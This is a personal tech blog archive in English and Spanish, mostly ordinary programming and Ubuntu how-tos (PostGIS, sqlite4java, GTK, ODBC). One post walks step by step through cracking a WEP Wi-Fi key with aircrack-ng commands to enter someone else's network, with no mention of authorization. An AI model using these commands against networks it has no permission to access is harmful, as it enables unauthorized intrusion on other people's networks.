Friday, December 9, 2011

How-To find the closest point of a MultiLineString from a Point in PostGIS

I had the same trouble before with MultiLineStrings, I realized that when a MultiLinestring can't be merged, all functions like ST_ClosestPoint and ST_Line_Locate_Point doesn't work.(you can know if a MultiLineString can't be merged using the ST_LineMerge function) I've made a pl/pgSQL function based in an old maillist but I added some performance tweaks, It only works with MultiLineStrings and LineStrings (but can be easily modified to work with Polygons). First it checks if the geometry only has 1 dimension, if it has, you can use the old ST_Line_Interpolate_Point and ST_Line_Locate_Point combination, if not, then you have to do the same for each LineString in the MultiLineString. Also I've added a ST_LineMerge for pre 1.5 compatibility :


CREATE OR REPLACE FUNCTION ST_MultiLine_Nearest_Point(amultiline geometry,apoint geometry)
  RETURNS geometry AS
$BODY$
DECLARE
    mindistance float8;
    adistance float8;
    nearestlinestring geometry;
    nearestpoint geometry;
    simplifiedline geometry;
    line geometry;
BEGIN
        simplifiedline:=ST_LineMerge(amultiline);
        IF ST_NumGeometries(simplifiedline) <= 1 THEN
            nearestpoint:=ST_Line_Interpolate_Point(simplifiedline, ST_Line_Locate_Point(simplifiedline,apoint) );
            RETURN nearestpoint;
      END IF;
--      *Change your mindistance according to your projection, it should be stupidly big*
        mindistance := 100000;
        FOR line IN SELECT (ST_Dump(simplifiedline)).geom as geom LOOP
                adistance:=ST_Distance(apoint,line);
            IF adistance < mindistance THEN
                mindistance:=adistance;
                nearestlinestring:=line;
            END IF;
        END LOOP;
        RETURN ST_Line_Interpolate_Point(nearestlinestring,ST_Line_Locate_Point(nearestlinestring,apoint));
    END;
    $BODY$
      LANGUAGE 'plpgsql' IMMUTABLE STRICT;

Wednesday, September 7, 2011

Java HMTL-like Imagemap

How many of you ever wanted to use an imagemap in Java (awt - swingx)?, well all you need to do is download the code from github and you need to make an image for each element of the imagemap and put the region or element in the place that you want it to appear, It's easier if you open the whole image in photoshop or gimp, and just start to create layers for each region, and save each layer in a different file, like this:



A tooltip shows you in which region the pointer is, you just need to add a click event listener to get the id of the region that was clicked:

Saturday, May 7, 2011

Why I don't like unity?

First of all, lets think why someone use linux, maybe most of us started being script kiddies, others in school had to use it in some courses, others in theirs work. But the ones that use it everyday, like it because its as cool or as practical as you want. For example I use default configurations of the desktop environment in my work's linuxes and for my personal machines I use a tweaked version with all the candy-eye you can get. For many of us, adopting gnome 3 was the natural evolution of ubuntu, but for Mark Shuttleworth it seems wrong. Instead he went for unity, actually unity its only Mark's favorite compiz configuration. Another issue is the unilateral changes he is making to the layout just to mention a few, Why they moved the window management icons to the left????
Lets take for example my configuration, its a 10.04 ubuntu with compiz and awn.





Only with a few extra tweaks it does everything gnome 3 and unity does. So??? we will have to wait a little to see how it ends.

Tuesday, July 20, 2010

sqlite4java + java (singleton) example

When I heard about sqlite4java, I didn't found any working example, so here is one:
First I've made a singleton object to connect to SQLite, but also I've made a few methods to make even more easier to use sqlite4java.



import com.almworks.sqlite4java.*;
import java.io.File;
import java.util.Stack;

public class SQLiteDB {
private static final SQLiteDB INSTANCE = new SQLiteDB();
SQLiteConnection db;
SQLiteStatement st;
// Private constructor prevents instantiation from other classes
private SQLiteDB() {
try{
db = new SQLiteConnection(new File("default.ndb"));
db.open(true);
} catch (SQLiteException ex){
System.out.println("Instantiation SQLiteException: " + ex.getMessage());
}
}
public static SQLiteDB getInstance() {
return INSTANCE;
}
public boolean exec(String str){
try{
st = db.prepare(str);
st.stepThrough();
st.dispose();
return true;
} catch (SQLiteException ex){
System.out.println("Query Execution SQLiteException: " + ex.getMessage());
return false;
}
}

public boolean prepareQuery(String str){
try{
st = db.prepare(str);
} catch (SQLiteException ex){
System.out.println("Prepare Query SQLiteException: " + ex.getMessage());
return false;
}
return true;
}

public Object[] fetch(){
try{
if(!st.step()){
st.dispose();
return null;
}
else{
if(st.hasRow()) {
int columns = st.columnCount();
Stack stack = new Stack();
for(int column = 0 ; column < columns ; column++)
stack.push(st.columnValue(column));
return stack.toArray();
} else {
st.dispose();
return null;
}
}
} catch (SQLiteException ex){
System.out.println("Fetch SQLiteException: " + ex.getMessage());
}
st.dispose();
return null;
}
public void close(){
db.dispose();
}
}

Then the test class:



public class SQLiteTest {


public static void main(String[] args) {

SQLiteDB db = SQLiteDB.getInstance();


db.exec("CREATE TABLE t1 (t1key INTEGER PRIMARY KEY,data TEXT,num double,timeEnter DATE);");
db.exec("INSERT INTO t1 VALUES(1, 'This is sample data', 3, NULL);");
db.exec("INSERT INTO t1 VALUES(2, 'More sample data', 6, NULL);");
db.exec("INSERT INTO t1 VALUES(3, 'And a little more', 9, NULL);");

Object[] res;
db.prepareQuery("select * from t1");

while((res=db.fetch()) != null){
System.out.println("Results: " + res[0] + " : " + res[1] + " : " + res[2] + " : " + res[3]);
}

db.close();

}
}

Thursday, November 19, 2009

Connect Java with Mysql

If you have problems with CLASSPATH java.lang.ClassNotFoundException: com.mysql.jdbc.Driver, this might work:

1.-
install the java - mysql connector:
sudo apt-get install libmysql-java

2.-
gedit ~/.bashrc

3.-
add this 2 lines at the end:

CLASSPATH=$CLASSPATH:/usr/share/java/mysql-connector-java.jar
export CLASSPATH

thats it!

Friday, January 23, 2009

Compile gtk+ apps on Windows

If you've already googled this, you must know that you need MinGW and MSYS.

Here is an installer of MSYS 1.0.10
Install it with default settings.... (path: c:/msys/1.0)



They say you can find the lastest version of MSYS here:(I didn't find the .exe(Installer) of newest version)
http://sourceforge.net/project/showfiles.php?group_id=2435



Now install : MinGW

A better Howto of installing MSYS and MinGW (Actually the original) can be found here

After MSYS and MinGW are installed you need to install GTK+ development files and some other tools like pkg-config...
Now things are going to get messy. I don't know how to do this in another way but this works....

An installer of gtk+ dev files can be found here ( Last stable version....)
Default path of installation is c:/Program Files/Common or some windowsish path ....
Install it in the same path you installed MSYS (default MSYS installation path C:\msys\1.0\ )

If you want to, you can find the newer version of gtk+ dev files here
Then edit a file that should be here c:/msys/1.0/lib/pkgconfig/cairo.pc
Remove this part:" pixman-1 >= 0.10.0" or something like that (I can't remember exactly, I've already deleted that part LOL)

Don't forget to compile with this command:

gcc -Wall -g `pkg-config --cflags libglade-2.0` -o hello hello.c `pkg-config --libs libglade-2.0`

here is an explanation of why compiling that way....


Congratulations Now you can compile your gtk+ programs in Windows...
I think that this way is less painful than cross-compiling ......

P.S. Sorry for my bad English......

Tuesday, October 28, 2008

Howto install odbc mysql

Primero si necesitas necesitas estas bibliotecas:

$sudo apt-get install libmyodbc
$sudo apt-get install unixodbc-dev

Después necesitamos agregar el driver de mysql a unixodbc
abre el archivo odbc.ini ya agrega esto:

$sudo gedit /etc/odbcinst.ini


[MySQL]
Description = MySQL driver
Driver = /usr/lib/odbc/libmyodbc.so
Setup = /usr/lib/odbc/libodbcmyS.so
FileUsage = 1

despues necesitamos agregar la base de datos a la que se quiere conectar
abre el archivo odbc.ini:

$sudo gedit /etc/odbc.ini


[ODBC Data Sources]
test = Connector/ODBC 3.51 Driver DSN

[test]
Driver = /usr/lib/odbc/libmyodbc.so
Description = Connector/ODBC 3.51 Driver DSN
Server = localhost
DSN = test
Port = 3306
Socket = /var/lib/mysql/mysql.sock
User = DB_USER_NAME
Password = DB_PASSWORD
Database = DB_NAME
ServerType = MySQL
Option =
TraceFile = /var/log/mysql_test_trace.log
Trace = 0

[Default]
Driver = /usr/lib/odbc/libmyodbc.so
Description = Connector/ODBC 3.51 Driver DSN
Server = localhost
DSN = test
Port = 3306
Socket = /var/lib/mysql/mysql.sock
User = DB_USER_NAME
Password = DB_PASSWORD
Database = DB_NAME
ServerType = MySQL
Option =
TraceFile = /var/log/mysql_test_trace.log
Trace = 0

Y damos de alta al driver con este template, crea un archivo donde quieras:
template1.txt:

[MySQL]
Description = MySQL database
Driver = MySQL
SERVER = localhost
USER = DB_USER_NAME
PASSWORD = DB_PASSWORD
PORT = 3306
DATABASE = DB_NAME

Y para terminar este comando en la terminal

$ odbcinst -i -s -f template1.txt

Tuesday, July 22, 2008

WEP crack !!! con aircrack

  1. Primer paso: bueno lo primero que necesitan es el suite de aircrack aqui esta el comando para apt:
    $ sudo apt-get install aircrack-ng

  2. Ahora hay que buscar la red a la que quieren entrar:
    $ sudo iwlist ath0 scan
    les saldran las redes de la siguiente manera:
    Cell # - Address: FF:FF:FF:FF:FF:FF ------>>> mac address en hex
    ESSID:"redwifi" ------>>> essid : nombre de la red
    Mode:Master
    Frequency:2.442 GHz (Channel 7)--->>> canal 7!!!
    Quality=16/70 Signal level=-79 dBm Noise level=-95 dBm
    Encryption key:on
    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
    9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
    48 Mb/s; 54 Mb/s
    Extra:bcn_int=100

    tambien tienen que saber la mac address de tu tarjeta:
    $sudo ifconfig
    ath0 Link encap:Ethernet HWaddr aa:aa:aa:aa:aa:aa --->esta es tu mac adress
    UP BROADCAST MULTICAST MTU:1500 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0 frame:0
    TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:0 (0 KB) TX bytes:0 (0 KB)
  3. Despues:
    $sudo airodump-ng -c # -w -wep -i ath0
    sustituyen # por el canal en el que esta la red a la que quieren entrar

  4. luego abren otra consola y usan este comando:
    $ sudo aireplay-ng -1 0 -e ESSID_NAME -a FF:FF:FF:FF:FF:FF -h aa:aa:aa:aa:aa:aa ath0

    sustituyes ESSID_NAME por el nombre de la red a la que quieres entrar
    la primera mac address es la de la red a la que quieres entrar, la segunda es la tuya.

  5. $ sudo aireplay-ng -3 -e ESSID_NAME -b FF:FF:FF:FF:FF:FF -h aa:aa:aa:aa:aa:aa ath0

  6. Luego abren otra consola y meten este comando:

    $ sudo aircrack-ng -a 1 -0 -n 128 wep-01.ivs

    y listo la clave aparecera en unos segundos si se tarda mucho quiere decir que la encriptacion no es de 128 q es lo mas comun, asi q tendran q tratar con cualquiera de estas opciones 64, 128, 256, 512.
nota : solo hagan esto si tienen problemas por que dice que su tarjeta no esta en modo monitor
$ sudo ifconfig ath0 up
$ sudo iwconfig ath0 mode monitor
muchas tarjetas no se pueden poner en modo monitor de esta manera entonces despues de buscar y buscar la solucion fue esta:
crear otro tarjeta "virtual" heredando las caracteristicas de otra
$sudo wlanconfig ath1 create wlandev wifi0 wlanmode monitor ath1
la nueva tarjeta se llama ath1 y tomamos las carecteristicas de wifi0 ahora solo remplecen en los siguientes comandos ath0 por ath1, tambien existe la posibilidad de q aircrack no sea compatible con tu tarjeta wireless.

pronto pondre la variante de este metodo para WPA, saludos y suerte!

Sunday, June 22, 2008

automatic login ubuntu

como muchos saben, windows tiene esta opcion y hasta hace poco no era muy comun en linux, pero ahora es muy facil hacerlo con la aplicacion gdmsetup q se encuentra en el menu principal:
Main>>system>>administration>>login window
o en la terminal:
me~$ sudo gdmsetup
y en la pestaña:
security
ahi esta la opcion de login automatico, solo seleccionen al usuario y listo.
:)

Thursday, April 24, 2008

ati desktop effects couldn't be enabled

primero un
$sudo apt-get install xserver-xgl
despues ,mi mejor recomendacion es esta bajen el driver que proporciona amd/ati aqui
http://ati.amd.com/support/driver.html
escogan su version
y el archivo es un .run ,para ejecutarlo solo necesitan irse al directorio del archivo y hacer lo siguiente
$chmod +x example.run
$./example.run
listo! sigan las instrucciones y reinicien su sesion ctrl-alt-backspace cuidado guarden todo antes de cerrar su sesion. y todo debera funciona. cualquier duda hagan un comentario a este articulo y con gusto lo respondere.

ubuntu hardy heron 8.04 released

tras semanas de espera,hardy heron ha llegado para quedarse aunque a simple vista los cambios no son notables(theme), una instalacion realmente simple les invito a probarlo si es q aun no lo han hecho, lo mejor es que al ser un long term support tiene respaldo hasta el 2011 y si eres de los q no les gusta estar actualizando cada 2 dias esta version es para ti ya que te puedes quedar con esta version hasta que salga la proxima version lts dentro de 2 o 3 anos.

Saturday, April 19, 2008

avant-window-navigator


retomando el tema del awn quieres q se vea asi,
solo tienes que hacer esto:
en la terminal $gconf-editor
te aparecera un ventana, ahi selecciona :
/>>apps>>avant-window-navigator>>bar
en bar angle pon 90(noventa). height 35 y icon_offset 25. otra opcion es bar angle -1 para que se vea como curves, aunq les advierto que algunos applets "se vuelven locos" con angle < 0.

Thursday, April 3, 2008

Hardy Heron awn

Ubuntu hardy a la fecha se encuentra en su beta release, pero algo que me asombro fue que ya hay un paquete del avant-window-navigator en los repositorios de hardy, pero la mala noticia es que el paquete de los applets no es oficial todavia....si quieren instalar esto ahi les va como:
desinstalen el avant despues
sudo gedit /etc/apt/sources.list
y añaden estas lineas:
deb http://ppa.launchpad.net/reacocard-awn/ubuntu hardy main
deb-src http://ppa.launchpad.net/reacocard-awn/ubuntu hardy main
despues chequen por actualizaciones y en el gestor de paquetes synaptic
busquen por awn e instalen awn-core-applets-bzr, awn-manager-bzr, avant-window-navigator-bzr.
Nota: no instalen estos paquetes: avant-window-navigator, awn-manager,etcetera.La diferencia es que no tienen -bzr y son versiones anteriores.
Probablemente esta sea la version del avant que salga en el final release.


ok...now in English
here is the howto install awn in hardy heron
sudo gedit /etc/apt/sources.list
...add at the end of file:
deb http://ppa.launchpad.net/reacocard-awn/ubuntu hardy main
deb-src http://ppa.launchpad.net/reacocard-awn/ubuntu hardy main
then:
sudo apt-get install awn-manager-bzr awn-core-applets-bzr avant-window-navigator-bzr

Tuesday, January 16, 2007

Audacious vs. Amarok vs Songbird vs Rythmbox

Ventajas:
Audacious: el mas "lite" de todos. es casi igual que winamp .
Amarok: estable, mas profesional, usa Posgres o Sqlite.
Songbird: agradable a la vista, el mas parecido a iTunes.
Rythmbox: estable, lite.

Desventajas:
Audacious: es casi igual que winamp .
Amarok:el menos lite de todos, y a veces el uso de BD lo hace muy lento y mas cuando to coleccion es de mas de 2000.
Songbird: bastante inestable todavia no sacan una version 1.0
Rythmbox:es el patito feo, por como viene muy bien integrado a ubuntu, no es tan mala opcion.

¿Cúal uso yo?
Yo uso Audacious, por el momento, pero sigo buscando nuevas opciones ya que no me convence mucho, pero es bastante ligero.